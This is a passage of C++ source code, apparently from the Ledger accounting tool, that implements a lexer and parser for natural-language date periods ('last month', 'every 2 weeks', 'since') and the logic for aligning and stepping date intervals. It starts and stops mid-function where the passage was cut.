// jww (2009-11-16): Handle wday. If a month is set, find the most recent
// wday in that month; if the year is set, then in that year.
return gregorian::date(static_cast<date_t::year_type>(the_year),
static_cast<date_t::month_type>(the_month),
static_cast<date_t::day_type>(the_day));
}
date_t date_specifier_t::end() const
{
if (day || wday)
return begin() + gregorian::days(1);
else if (month)
return begin() + gregorian::months(1);
else if (year)
return begin() + gregorian::years(1);
else {
assert(false);
return date_t();
}
}
std::ostream& operator<<(std::ostream& out,
const date_duration_t& duration)
{
if (duration.quantum == date_duration_t::DAYS)
out << duration.length << " day(s)";
else if (duration.quantum == date_duration_t::WEEKS)
out << duration.length << " week(s)";
else if (duration.quantum == date_duration_t::MONTHS)
out << duration.length << " month(s)";
else if (duration.quantum == date_duration_t::QUARTERS)
out << duration.length << " quarter(s)";
else {
assert(duration.quantum == date_duration_t::YEARS);
out << duration.length << " year(s)";
}
return out;
}
class date_parser_t
{
friend void show_period_tokens(std::ostream& out, const string& arg);
class lexer_t
{
friend class date_parser_t;
string::const_iterator begin;
string::const_iterator end;
public:
struct token_t
{
enum kind_t {
UNKNOWN,
TOK_DATE,
TOK_INT,
TOK_SLASH,
TOK_DASH,
TOK_DOT,
TOK_A_MONTH,
TOK_A_WDAY,
TOK_AGO,
TOK_HENCE,
TOK_SINCE,
TOK_UNTIL,
TOK_IN,
TOK_THIS,
TOK_NEXT,
TOK_LAST,
TOK_EVERY,
TOK_TODAY,
TOK_TOMORROW,
TOK_YESTERDAY,
TOK_YEAR,
TOK_QUARTER,
TOK_MONTH,
TOK_WEEK,
TOK_DAY,
TOK_YEARLY,
TOK_QUARTERLY,
TOK_BIMONTHLY,
TOK_MONTHLY,
TOK_BIWEEKLY,
TOK_WEEKLY,
TOK_DAILY,
TOK_YEARS,
TOK_QUARTERS,
TOK_MONTHS,
TOK_WEEKS,
TOK_DAYS,
END_REACHED
} kind;
typedef variant<unsigned short,
string,
date_specifier_t::year_type,
date_time::months_of_year,
date_time::weekdays,
date_specifier_t> content_t;
optional<content_t> value;
explicit token_t(kind_t _kind = UNKNOWN,
const optional<content_t>& _value =
content_t(empty_string))
: kind(_kind), value(_value) {
TRACE_CTOR(date_parser_t::lexer_t::token_t, "");
}
token_t(const token_t& tok)
: kind(tok.kind), value(tok.value) {
TRACE_CTOR(date_parser_t::lexer_t::token_t, "copy");
}
~token_t() throw() {
TRACE_DTOR(date_parser_t::lexer_t::token_t);
}
token_t& operator=(const token_t& tok) {
if (this != &tok) {
kind = tok.kind;
value = tok.value;
}
return *this;
}
operator bool() const {
return kind != END_REACHED;
}
string to_string() const {
std::ostringstream out;
switch (kind) {
case UNKNOWN:
out << boost::get<string>(*value);
break;
case TOK_DATE:
return boost::get<date_specifier_t>(*value).to_string();
case TOK_INT:
out << boost::get<unsigned short>(*value);
break;
case TOK_SLASH: return "/";
case TOK_DASH: return "-";
case TOK_DOT: return ".";
case TOK_A_MONTH:
out << date_specifier_t::month_type
(boost::get<date_time::months_of_year>(*value));
break;
case TOK_A_WDAY:
out << date_specifier_t::day_of_week_type
(boost::get<date_time::weekdays>(*value));
break;
case TOK_AGO: return "ago";
case TOK_HENCE: return "hence";
case TOK_SINCE: return "since";
case TOK_UNTIL: return "until";
case TOK_IN: return "in";
case TOK_THIS: return "this";
case TOK_NEXT: return "next";
case TOK_LAST: return "last";
case TOK_EVERY: return "every";
case TOK_TODAY: return "today";
case TOK_TOMORROW: return "tomorrow";
case TOK_YESTERDAY: return "yesterday";
case TOK_YEAR: return "year";
case TOK_QUARTER: return "quarter";
case TOK_MONTH: return "month";
case TOK_WEEK: return "week";
case TOK_DAY: return "day";
case TOK_YEARLY: return "yearly";
case TOK_QUARTERLY: return "quarterly";
case TOK_BIMONTHLY: return "bimonthly";
case TOK_MONTHLY: return "monthly";
case TOK_BIWEEKLY: return "biweekly";
case TOK_WEEKLY: return "weekly";
case TOK_DAILY: return "daily";
case TOK_YEARS: return "years";
case TOK_QUARTERS: return "quarters";
case TOK_MONTHS: return "months";
case TOK_WEEKS: return "weeks";
case TOK_DAYS: return "days";
case END_REACHED: return "<EOF>";
}
return out.str();
}
void dump(std::ostream& out) const {
switch (kind) {
case UNKNOWN: out << "UNKNOWN"; break;
case TOK_DATE: out << "TOK_DATE"; break;
case TOK_INT: out << "TOK_INT"; break;
case TOK_SLASH: out << "TOK_SLASH"; break;
case TOK_DASH: out << "TOK_DASH"; break;
case TOK_DOT: out << "TOK_DOT"; break;
case TOK_A_MONTH: out << "TOK_A_MONTH"; break;
case TOK_A_WDAY: out << "TOK_A_WDAY"; break;
case TOK_AGO: out << "TOK_AGO"; break;
case TOK_HENCE: out << "TOK_HENCE"; break;
case TOK_SINCE: out << "TOK_SINCE"; break;
case TOK_UNTIL: out << "TOK_UNTIL"; break;
case TOK_IN: out << "TOK_IN"; break;
case TOK_THIS: out << "TOK_THIS"; break;
case TOK_NEXT: out << "TOK_NEXT"; break;
case TOK_LAST: out << "TOK_LAST"; break;
case TOK_EVERY: out << "TOK_EVERY"; break;
case TOK_TODAY: out << "TOK_TODAY"; break;
case TOK_TOMORROW: out << "TOK_TOMORROW"; break;
case TOK_YESTERDAY: out << "TOK_YESTERDAY"; break;
case TOK_YEAR: out << "TOK_YEAR"; break;
case TOK_QUARTER: out << "TOK_QUARTER"; break;
case TOK_MONTH: out << "TOK_MONTH"; break;
case TOK_WEEK: out << "TOK_WEEK"; break;
case TOK_DAY: out << "TOK_DAY"; break;
case TOK_YEARLY: out << "TOK_YEARLY"; break;
case TOK_QUARTERLY: out << "TOK_QUARTERLY"; break;
case TOK_BIMONTHLY: out << "TOK_BIMONTHLY"; break;
case TOK_MONTHLY: out << "TOK_MONTHLY"; break;
case TOK_BIWEEKLY: out << "TOK_BIWEEKLY"; break;
case TOK_WEEKLY: out << "TOK_WEEKLY"; break;
case TOK_DAILY: out << "TOK_DAILY"; break;
case TOK_YEARS: out << "TOK_YEARS"; break;
case TOK_QUARTERS: out << "TOK_QUARTERS"; break;
case TOK_MONTHS: out << "TOK_MONTHS"; break;
case TOK_WEEKS: out << "TOK_WEEKS"; break;
case TOK_DAYS: out << "TOK_DAYS"; break;
case END_REACHED: out << "END_REACHED"; break;
}
}
void unexpected();
static void expected(char wanted, char c = '\0');
};
token_t token_cache;
lexer_t(string::const_iterator _begin,
string::const_iterator _end)
: begin(_begin), end(_end)
{
TRACE_CTOR(date_parser_t::lexer_t, "");
}
lexer_t(const lexer_t& other)
: begin(other.begin), end(other.end),
token_cache(other.token_cache)
{
TRACE_CTOR(date_parser_t::lexer_t, "copy");
}
~lexer_t() throw() {
TRACE_DTOR(date_parser_t::lexer_t);
}
token_t next_token();
void push_token(token_t tok) {
assert(token_cache.kind == token_t::UNKNOWN);
token_cache = tok;
}
token_t peek_token() {
if (token_cache.kind == token_t::UNKNOWN)
token_cache = next_token();
return token_cache;
}
};
string arg;
lexer_t lexer;
public:
date_parser_t(const string& _arg)
: arg(_arg), lexer(arg.begin(), arg.end()) {
TRACE_CTOR(date_parser_t, "");
}
date_parser_t(const date_parser_t& parser)
: arg(parser.arg), lexer(parser.lexer) {
TRACE_CTOR(date_parser_t, "copy");
}
~date_parser_t() throw() {
TRACE_DTOR(date_parser_t);
}
date_interval_t parse();
private:
void determine_when(lexer_t::token_t& tok, date_specifier_t& specifier);
};
void date_parser_t::determine_when(date_parser_t::lexer_t::token_t& tok,
date_specifier_t& specifier)
{
date_t today = CURRENT_DATE();
switch (tok.kind) {
case lexer_t::token_t::TOK_DATE:
specifier = boost::get<date_specifier_t>(*tok.value);
break;
case lexer_t::token_t::TOK_INT: {
unsigned short amount = boost::get<unsigned short>(*tok.value);
int8_t adjust = 0;
tok = lexer.peek_token();
lexer_t::token_t::kind_t kind = tok.kind;
switch (kind) {
case lexer_t::token_t::TOK_YEAR:
case lexer_t::token_t::TOK_YEARS:
case lexer_t::token_t::TOK_QUARTER:
case lexer_t::token_t::TOK_QUARTERS:
case lexer_t::token_t::TOK_MONTH:
case lexer_t::token_t::TOK_MONTHS:
case lexer_t::token_t::TOK_WEEK:
case lexer_t::token_t::TOK_WEEKS:
case lexer_t::token_t::TOK_DAY:
case lexer_t::token_t::TOK_DAYS:
lexer.next_token();
tok = lexer.next_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_AGO:
adjust = -1;
break;
case lexer_t::token_t::TOK_HENCE:
adjust = 1;
break;
default:
tok.unexpected();
break;
}
break;
default:
break;
}
date_t when(today);
switch (kind) {
case lexer_t::token_t::TOK_YEAR:
case lexer_t::token_t::TOK_YEARS:
when += gregorian::years(amount * adjust);
break;
case lexer_t::token_t::TOK_QUARTER:
case lexer_t::token_t::TOK_QUARTERS:
when += gregorian::months(amount * 3 * adjust);
break;
case lexer_t::token_t::TOK_MONTH:
case lexer_t::token_t::TOK_MONTHS:
when += gregorian::months(amount * adjust);
break;
case lexer_t::token_t::TOK_WEEK:
case lexer_t::token_t::TOK_WEEKS:
when += gregorian::weeks(amount * adjust);
break;
case lexer_t::token_t::TOK_DAY:
case lexer_t::token_t::TOK_DAYS:
when += gregorian::days(amount * adjust);
break;
default:
if (amount > 31) {
specifier.year = date_specifier_t::year_type(amount);
} else {
specifier.day = date_specifier_t::day_type(amount);
}
break;
}
if (adjust)
specifier = date_specifier_t(when);
break;
}
case lexer_t::token_t::TOK_THIS:
case lexer_t::token_t::TOK_NEXT:
case lexer_t::token_t::TOK_LAST: {
int8_t adjust = 0;
if (tok.kind == lexer_t::token_t::TOK_NEXT)
adjust = 1;
else if (tok.kind == lexer_t::token_t::TOK_LAST)
adjust = -1;
tok = lexer.next_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_A_MONTH: {
date_t temp(today.year(),
boost::get<date_time::months_of_year>(*tok.value), 1);
temp += gregorian::years(adjust);
specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()),
temp.month());
break;
}
case lexer_t::token_t::TOK_A_WDAY: {
date_t temp =
date_duration_t::find_nearest(today, date_duration_t::WEEKS);
while (temp.day_of_week() !=
boost::get<date_time::months_of_year>(*tok.value))
temp += gregorian::days(1);
temp += gregorian::days(7 * adjust);
specifier = date_specifier_t(temp);
break;
}
case lexer_t::token_t::TOK_YEAR: {
date_t temp(today);
temp += gregorian::years(adjust);
specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()));
break;
}
case lexer_t::token_t::TOK_QUARTER: {
date_t base =
date_duration_t::find_nearest(today, date_duration_t::QUARTERS);
date_t temp;
if (adjust < 0) {
temp = base + gregorian::months(3 * adjust);
}
else if (adjust == 0) {
temp = base + gregorian::months(3);
}
else if (adjust > 0) {
base += gregorian::months(3 * adjust);
temp = base + gregorian::months(3 * adjust);
}
specifier = date_specifier_t(adjust < 0 ? temp : base);
break;
}
case lexer_t::token_t::TOK_WEEK: {
date_t base =
date_duration_t::find_nearest(today, date_duration_t::WEEKS);
date_t temp;
if (adjust < 0) {
temp = base + gregorian::days(7 * adjust);
}
else if (adjust == 0) {
temp = base + gregorian::days(7);
}
else if (adjust > 0) {
base += gregorian::days(7 * adjust);
temp = base + gregorian::days(7 * adjust);
}
specifier = date_specifier_t(adjust < 0 ? temp : base);
break;
}
case lexer_t::token_t::TOK_DAY: {
date_t temp(today);
temp += gregorian::days(adjust);
specifier = date_specifier_t(temp);
break;
}
default:
case lexer_t::token_t::TOK_MONTH: {
date_t temp(today);
temp += gregorian::months(adjust);
specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()),
temp.month());
break;
}
}
break;
}
case lexer_t::token_t::TOK_A_MONTH:
specifier.month =
date_specifier_t::month_type
(boost::get<date_time::months_of_year>(*tok.value));
tok = lexer.peek_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_INT:
specifier.year = boost::get<date_specifier_t::year_type>(*tok.value);
break;
case lexer_t::token_t::END_REACHED:
break;
default:
break;
}
break;
case lexer_t::token_t::TOK_A_WDAY:
specifier.wday =
date_specifier_t::day_of_week_type
(boost::get<date_time::weekdays>(*tok.value));
break;
case lexer_t::token_t::TOK_TODAY:
specifier = date_specifier_t(today);
break;
case lexer_t::token_t::TOK_TOMORROW:
specifier = date_specifier_t(today + gregorian::days(1));
break;
case lexer_t::token_t::TOK_YESTERDAY:
specifier = date_specifier_t(today - gregorian::days(1));
break;
default:
tok.unexpected();
break;
}
}
date_interval_t date_parser_t::parse()
{
optional<date_specifier_t> since_specifier;
optional<date_specifier_t> until_specifier;
optional<date_specifier_t> inclusion_specifier;
date_interval_t period;
date_t today = CURRENT_DATE();
bool end_inclusive = false;
for (lexer_t::token_t tok = lexer.next_token();
tok.kind != lexer_t::token_t::END_REACHED;
tok = lexer.next_token()) {
switch (tok.kind) {
case lexer_t::token_t::TOK_DATE:
if (! inclusion_specifier)
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
break;
case lexer_t::token_t::TOK_INT:
if (! inclusion_specifier)
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
break;
case lexer_t::token_t::TOK_A_MONTH:
if (! inclusion_specifier)
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
break;
case lexer_t::token_t::TOK_A_WDAY:
if (! inclusion_specifier)
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
break;
case lexer_t::token_t::TOK_DASH:
if (inclusion_specifier) {
since_specifier = inclusion_specifier;
until_specifier = date_specifier_t();
inclusion_specifier = none;
tok = lexer.next_token();
determine_when(tok, *until_specifier);
// The dash operator is special: it has an _inclusive_ end.
end_inclusive = true;
} else {
tok.unexpected();
}
break;
case lexer_t::token_t::TOK_SINCE:
if (since_specifier) {
tok.unexpected();
} else {
since_specifier = date_specifier_t();
tok = lexer.next_token();
determine_when(tok, *since_specifier);
}
break;
case lexer_t::token_t::TOK_UNTIL:
if (until_specifier) {
tok.unexpected();
} else {
until_specifier = date_specifier_t();
tok = lexer.next_token();
determine_when(tok, *until_specifier);
}
break;
case lexer_t::token_t::TOK_IN:
if (inclusion_specifier) {
tok.unexpected();
} else {
inclusion_specifier = date_specifier_t();
tok = lexer.next_token();
determine_when(tok, *inclusion_specifier);
}
break;
case lexer_t::token_t::TOK_THIS:
case lexer_t::token_t::TOK_NEXT:
case lexer_t::token_t::TOK_LAST: {
int8_t adjust = 0;
if (tok.kind == lexer_t::token_t::TOK_NEXT)
adjust = 1;
else if (tok.kind == lexer_t::token_t::TOK_LAST)
adjust = -1;
tok = lexer.next_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_INT: {
unsigned short amount = boost::get<unsigned short>(*tok.value);
date_t base(today);
date_t end(today);
if (! adjust)
adjust = 1;
tok = lexer.next_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_YEARS:
base += gregorian::years(amount * adjust);
break;
case lexer_t::token_t::TOK_QUARTERS:
base += gregorian::months(amount * adjust * 3);
break;
case lexer_t::token_t::TOK_MONTHS:
base += gregorian::months(amount * adjust);
break;
case lexer_t::token_t::TOK_WEEKS:
base += gregorian::weeks(amount * adjust);
break;
case lexer_t::token_t::TOK_DAYS:
base += gregorian::days(amount * adjust);
break;
default:
tok.unexpected();
break;
}
if (adjust >= 0) {
date_t temp = base;
base = end;
end = temp;
}
since_specifier = date_specifier_t(base);
until_specifier = date_specifier_t(end);
break;
}
case lexer_t::token_t::TOK_A_MONTH: {
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
date_t temp(today.year(), *inclusion_specifier->month, 1);
temp += gregorian::years(adjust);
inclusion_specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()),
temp.month());
break;
}
case lexer_t::token_t::TOK_A_WDAY: {
inclusion_specifier = date_specifier_t();
determine_when(tok, *inclusion_specifier);
date_t temp =
date_duration_t::find_nearest(today, date_duration_t::WEEKS);
while (temp.day_of_week() != inclusion_specifier->wday)
temp += gregorian::days(1);
temp += gregorian::days(7 * adjust);
inclusion_specifier = date_specifier_t(temp);
break;
}
case lexer_t::token_t::TOK_YEAR: {
date_t temp(today);
temp += gregorian::years(adjust);
inclusion_specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()));
break;
}
case lexer_t::token_t::TOK_QUARTER: {
date_t base =
date_duration_t::find_nearest(today, date_duration_t::QUARTERS);
date_t temp;
if (adjust < 0) {
temp = base + gregorian::months(3 * adjust);
}
else if (adjust == 0) {
temp = base + gregorian::months(3);
}
else if (adjust > 0) {
base += gregorian::months(3 * adjust);
temp = base + gregorian::months(3 * adjust);
}
since_specifier = date_specifier_t(adjust < 0 ? temp : base);
until_specifier = date_specifier_t(adjust < 0 ? base : temp);
break;
}
case lexer_t::token_t::TOK_WEEK: {
date_t base =
date_duration_t::find_nearest(today, date_duration_t::WEEKS);
date_t temp;
if (adjust < 0) {
temp = base + gregorian::days(7 * adjust);
}
else if (adjust == 0) {
temp = base + gregorian::days(7);
}
else if (adjust > 0) {
base += gregorian::days(7 * adjust);
temp = base + gregorian::days(7 * adjust);
}
since_specifier = date_specifier_t(adjust < 0 ? temp : base);
until_specifier = date_specifier_t(adjust < 0 ? base : temp);
break;
}
case lexer_t::token_t::TOK_DAY: {
date_t temp(today);
temp += gregorian::days(adjust);
inclusion_specifier = date_specifier_t(temp);
break;
}
default:
case lexer_t::token_t::TOK_MONTH: {
date_t temp(today);
temp += gregorian::months(adjust);
inclusion_specifier =
date_specifier_t(static_cast<date_specifier_t::year_type>(temp.year()),
temp.month());
break;
}
}
break;
}
case lexer_t::token_t::TOK_TODAY:
inclusion_specifier = date_specifier_t(today);
break;
case lexer_t::token_t::TOK_TOMORROW:
inclusion_specifier = date_specifier_t(today + gregorian::days(1));
break;
case lexer_t::token_t::TOK_YESTERDAY:
inclusion_specifier = date_specifier_t(today - gregorian::days(1));
break;
case lexer_t::token_t::TOK_EVERY:
tok = lexer.next_token();
if (tok.kind == lexer_t::token_t::TOK_INT) {
int quantity = boost::get<unsigned short>(*tok.value);
tok = lexer.next_token();
switch (tok.kind) {
case lexer_t::token_t::TOK_YEARS:
period.duration = date_duration_t(date_duration_t::YEARS, quantity);
break;
case lexer_t::token_t::TOK_QUARTERS:
period.duration = date_duration_t(date_duration_t::QUARTERS, quantity);
break;
case lexer_t::token_t::TOK_MONTHS:
period.duration = date_duration_t(date_duration_t::MONTHS, quantity);
break;
case lexer_t::token_t::TOK_WEEKS:
period.duration = date_duration_t(date_duration_t::WEEKS, quantity);
break;
case lexer_t::token_t::TOK_DAYS:
period.duration = date_duration_t(date_duration_t::DAYS, quantity);
break;
default:
tok.unexpected();
break;
}
} else {
switch (tok.kind) {
case lexer_t::token_t::TOK_YEAR:
period.duration = date_duration_t(date_duration_t::YEARS, 1);
break;
case lexer_t::token_t::TOK_QUARTER:
period.duration = date_duration_t(date_duration_t::QUARTERS, 1);
break;
case lexer_t::token_t::TOK_MONTH:
period.duration = date_duration_t(date_duration_t::MONTHS, 1);
break;
case lexer_t::token_t::TOK_WEEK:
period.duration = date_duration_t(date_duration_t::WEEKS, 1);
break;
case lexer_t::token_t::TOK_DAY:
period.duration = date_duration_t(date_duration_t::DAYS, 1);
break;
default:
tok.unexpected();
break;
}
}
break;
case lexer_t::token_t::TOK_YEARLY:
period.duration = date_duration_t(date_duration_t::YEARS, 1);
break;
case lexer_t::token_t::TOK_QUARTERLY:
period.duration = date_duration_t(date_duration_t::QUARTERS, 1);
break;
case lexer_t::token_t::TOK_BIMONTHLY:
period.duration = date_duration_t(date_duration_t::MONTHS, 2);
break;
case lexer_t::token_t::TOK_MONTHLY:
period.duration = date_duration_t(date_duration_t::MONTHS, 1);
break;
case lexer_t::token_t::TOK_BIWEEKLY:
period.duration = date_duration_t(date_duration_t::WEEKS, 2);
break;
case lexer_t::token_t::TOK_WEEKLY:
period.duration = date_duration_t(date_duration_t::WEEKS, 1);
break;
case lexer_t::token_t::TOK_DAILY:
period.duration = date_duration_t(date_duration_t::DAYS, 1);
break;
default:
tok.unexpected();
break;
}
}
#if 0
if (! period.duration && inclusion_specifier)
period.duration = inclusion_specifier->implied_duration();
#endif
if (since_specifier || until_specifier) {
date_range_t range(since_specifier, until_specifier);
range.end_inclusive = end_inclusive;
period.range = date_specifier_or_range_t(range);
}
else if (inclusion_specifier) {
period.range = date_specifier_or_range_t(*inclusion_specifier);
}
else {
/* otherwise, it's something like "monthly", with no date reference */
}
return period;
}
void date_interval_t::parse(const string& str)
{
date_parser_t parser(str);
*this = parser.parse();
}
void date_interval_t::resolve_end()
{
if (start && ! end_of_duration) {
end_of_duration = duration->add(*start);
DEBUG("times.interval",
"stabilize: end_of_duration = " << *end_of_duration);
}
if (finish && *end_of_duration > *finish) {
end_of_duration = finish;
DEBUG("times.interval",
"stabilize: end_of_duration reset to end: " << *end_of_duration);
}
if (start && ! next) {
next = end_of_duration;
DEBUG("times.interval", "stabilize: next set to: " << *next);
}
}
date_t date_duration_t::find_nearest(const date_t& date, skip_quantum_t skip)
{
date_t result;
switch (skip) {
case date_duration_t::YEARS:
result = date_t(date.year(), gregorian::Jan, 1);
break;
case date_duration_t::QUARTERS:
result = date_t(date.year(), date.month(), 1);
while (result.month() != gregorian::Jan &&
result.month() != gregorian::Apr &&
result.month() != gregorian::Jul &&
result.month() != gregorian::Oct)
result -= gregorian::months(1);
break;
case date_duration_t::MONTHS:
result = date_t(date.year(), date.month(), 1);
break;
case date_duration_t::WEEKS:
result = date;
while (result.day_of_week() != start_of_week)
result -= gregorian::days(1);
break;
case date_duration_t::DAYS:
result = date;
break;
}
return result;
}
void date_interval_t::stabilize(const optional<date_t>& date)
{
#if DEBUG_ON
if (date)
DEBUG("times.interval", "stabilize: with date = " << *date);
#endif
if (date && ! aligned) {
DEBUG("times.interval", "stabilize: date passed, but not aligned");
if (duration) {
DEBUG("times.interval",
"stabilize: aligning with a duration: " << *duration);
// The interval object has not been seeded with a start date yet, so
// find the nearest period before on on date which fits, if possible.
//
// Find an efficient starting point for the upcoming while loop. We
// want a date early enough that the range will be correct, but late
// enough that we don't spend hundreds of thousands of loops skipping
// through time.
optional<date_t> initial_start = start ? start : begin();
optional<date_t> initial_finish = finish ? finish : end();
#if DEBUG_ON
if (initial_start)
DEBUG("times.interval",
"stabilize: initial_start = " << *initial_start);
if (initial_finish)
DEBUG("times.interval",
"stabilize: initial_finish = " << *initial_finish);
#endif
date_t when = start ? *start : *date;
switch (duration->quantum) {
case date_duration_t::MONTHS:
case date_duration_t::QUARTERS:
case date_duration_t::YEARS:
// These start on most recent period start quantum before when
DEBUG("times.interval",
"stabilize: monthly, quarterly or yearly duration");
start = date_duration_t::find_nearest(when, duration->quantum);
break;
case date_duration_t::WEEKS:
// Weeks start on the beginning of week prior to 400 remainder period length
// Either the first quanta of the period or the last quanta of the period seems more sensible
// implies period is never less than 400 days not too unreasonable
DEBUG("times.interval", "stabilize: weekly duration");
{
int period = duration->length * 7;
start = date_duration_t::find_nearest(
when - gregorian::days(period + 400 % period), duration->quantum);
}
break;
default:
// multiples of days have a quanta of 1 day so should not have the start date adjusted to a quanta
DEBUG("times.interval",
"stabilize: daily duration - stable by definition");
start = when;
break;
}
DEBUG("times.interval", "stabilize: beginning start date = " << *start);
while (*start < *date) {
date_interval_t next_interval(*this);
++next_interval;
if (next_interval.start && *next_interval.start <= *date) {
*this = next_interval;
} else {
end_of_duration = none;
next = none;
break;
}
}
DEBUG("times.interval", "stabilize: proposed start date = " << *start);
if (initial_start && (! start || *start < *initial_start)) {
// Using the discovered start, find the end of the period
resolve_end();
start = initial_start;
DEBUG("times.interval", "stabilize: start reset to initial start");
}
if (initial_finish && (! finish || *finish > *initial_finish)) {
finish = initial_finish;
DEBUG("times.interval", "stabilize: finish reset to initial finish");
}
#if DEBUG_ON
if (start)
DEBUG("times.interval", "stabilize: final start = " << *start);
if (finish)
DEBUG("times.interval", "stabilize: final finish = " << *finish);
#endif
}
else if (range) {
start = range->begin();
finish = range->end();
}
aligned = true;
}
// If there is no duration, then if we've reached here the date falls
// between start and finish.
if (! duration) {
DEBUG("times.interval", "stabilize: there was no duration given");
if (! start && ! finish)
throw_(date_error,
_("Invalid date interval: neither start, nor finish, nor duration"));
} else {
resolve_end();
}
}
bool date_interval_t::find_period(const date_t& date,
const bool allow_shift)
{
stabilize(date);
if (finish && date > *finish) {
DEBUG("times.interval",
"false: date [" << date << "] > finish [" << *finish << "]");
return false;
}
if (! start) {
throw_(std::runtime_error, _("Date interval is improperly initialized"));
}
else if (date < *start) {
DEBUG("times.interval",
"false: date [" << date << "] < start [" << *start << "]");
return false;
}
if (end_of_duration) {
if (date < *end_of_duration) {
DEBUG("times.interval",
"true: date [" << date << "] < end_of_duration ["
<< *end_of_duration << "]");
return true;
}
} else {
DEBUG("times.interval", "false: there is no end_of_duration");
return false;
}
// If we've reached here, it means the date does not fall into the current
// interval, so we must seek another interval that does match -- unless we
// pass by date in so doing, which means we shouldn't alter the current
// period of the interval at all.
date_t scan = *start;
date_t end_of_scan = *end_of_duration;
DEBUG("times.interval", "date = " << date);
DEBUG("times.interval", "scan = " << scan);
DEBUG("times.interval", "end_of_scan = " << end_of_scan);
#if DEBUG_ON
if (finish)
DEBUG("times.interval", "finish = " << *finish);
else
DEBUG("times.interval", "finish is not set");
#endif
while (date >= scan && (! finish || scan < *finish)) {
if (date < end_of_scan) {
start = scan;
end_of_duration = end_of_scan;
next = none;
DEBUG("times.interval", "true: start = " << *start);
DEBUG("times.interval", "true: end_of_duration = " << *end_of_duration);
resolve_end();
return true;
}
else if (! allow_shift) {
break;
}
scan = duration->add(scan);
end_of_scan = duration->add(scan);
DEBUG("times.interval", "scan = " << scan);
DEBUG("times.interval", "end_of_scan = " << end_of_scan);
}
DEBUG("times.interval", "false: failed scan");
return false;
}
date_interval_t& date_interval_t::operator++()
{
if (! start)
throw_(date_error, _("Cannot increment an unstarted date interval"));
stabilize();
if (! duration)
throw_(date_error,
_("Cannot increment a date interval without a duration"));
assert(next);
if (finish && *next >= *finish) {
start = none;
} else {
start = *next;
end_of_duration = duration->add(*start);
}
next = none;
resolve_end();
return *this;
}
void date_interval_t::dump(std::ostream& out)
{
out << _("--- Before stabilization ---") << std::endl;
if (range)
out << _(" range: ") << range->to_string() << std::endl;
if (start)
out << _(" start: ") << format_date(*start) << std::endl;
if (finish)
out << _(" finish: ") << format_date(*finish) << std::endl;
if (duration)
out << _("duration: ") << duration->to_string() << std::endl;
optional<date_t> when(begin());
if (! when)
when = CURRENT_DATE();
stabilize(when);
out << std::endl
<< _("--- After stabilization ---") << std::endl;
if (range)
out << _(" range: ") << range->to_string() << std::endl;
if (start)
out << _(" start: ") << format_date(*start) << std::endl;
if (finish)
out << _(" finish: ") << format_date(*finish) << std::endl;
if (duration)
out << _("duration: ") << duration->to_string() << std::endl;
out << std::endl
<< _("--- Sample dates in range (max. 20) ---") << std::endl;
date_t last_date;
for (int i = 0; i < 20 && *this; ++i, ++*this) {
out << std::right;
out.width(2);
if (! last_date.is_not_a_date() && last_date == *start)
break;
out << (i + 1) << ": " << format_date(*start);
if (duration)
out << " -- " << format_date(*inclusive_end());
out << std::endl;
if (! duration)
break;
last_date = *start;
}
}
date_parser_t::lexer_t::token_t date_parser_t::lexer_t::next_token()
{
if (token_cache.kind != token_t::UNKNOWN) {
token_t tok = token_cache;
token_cache = token_t();
return tok;
}
while (begin != end && std::isspace(*begin))
begin++;
if (begin == end)
return token_t(token_t::END_REACHED);
switch (*begin) {
case '/': ++begin; return token_t(token_t::TOK_SLASH);
case '-': ++begin; return token_t(token_t::TOK_DASH);
case '.': ++begin; return token_t(token_t::TOK_DOT);
default: break;
}
string::const_iterator start = begin;
// If the first character is a digit, try parsing the whole argument as a
// date using the typical date formats. This allows not only dates like
// "2009/08/01", but also dates that fit the user's --input-date-format,
// assuming their format fits in one argument and begins with a digit.
if (std::isdigit(*begin)) {
string::const_iterator i = begin;
for (i = begin; i != end && ! std::isspace(*i); i++) {}
assert(i != begin);
string possible_date(start, i);
try {
date_traits_t traits;
date_t when = parse_date_mask(possible_date.c_str(), &traits);
if (! when.is_not_a_date()) {
begin = i;
return token_t(token_t::TOK_DATE,
token_t::content_t(date_specifier_t(when, traits)));
}
}
catch (date_error&) {
if (contains(possible_date, "/") ||
contains(possible_date, "-") ||
contains(possible_date, "."))
throw;
}
}
start = begin;
string term;
bool alnum = std::isalnum(*begin);
for (; (begin != end && ! std::isspace(*begin) &&
((alnum && static_cast<bool>(std::isalnum(*begin))) ||
(! alnum && ! static_cast<bool>(std::isalnum(*begin))))); begin++)
term.push_back(*begin);
if (! term.empty()) {
if (std::isdigit(term[0])) {
return token_t(token_t::TOK_INT,
token_t::content_t(lexical_cast<unsigned short>(term)));
}
else if (std::isalpha(term[0])) {
to_lower(term);
if (optional<date_time::months_of_year> month =
string_to_month_of_year(term)) {
return token_t(token_t::TOK_A_MONTH, token_t::content_t(*month));
}
else if (optional<date_time::weekdays> wday =
string_to_day_of_week(term)) {
return token_t(token_t::TOK_A_WDAY, token_t::content_t(*wday));
}
else if (term == _("ago"))
return token_t(token_t::TOK_AGO);
else if (term == _("hence"))
return token_t(token_t::TOK_HENCE);
else if (term == _("from") || term == _("since"))
return token_t(token_t::TOK_SINCE);
else if (term == _("to") || term == _("until"))
return token_t(token_t::TOK_UNTIL);
else if (term == _("in"))
return token_t(token_t::TOK_IN);
else if (term == _("this"))
return token_t(token_t::TOK_THIS);
else if (term == _("next"))
return token_t(token_t::TOK_NEXT);
else if (term == _("last"))
return token_t(token_t::TOK_LAST);
else if (term == _("every"))
return token_t(token_t::TOK_EVERY);
else if (term == _("today"))
return token_t(token_t::TOK_TODAY);
else if (term == _("tomorrow"))
return token_t(token_t::TOK_TOMORROW);
else if (term == _("yesterday"))
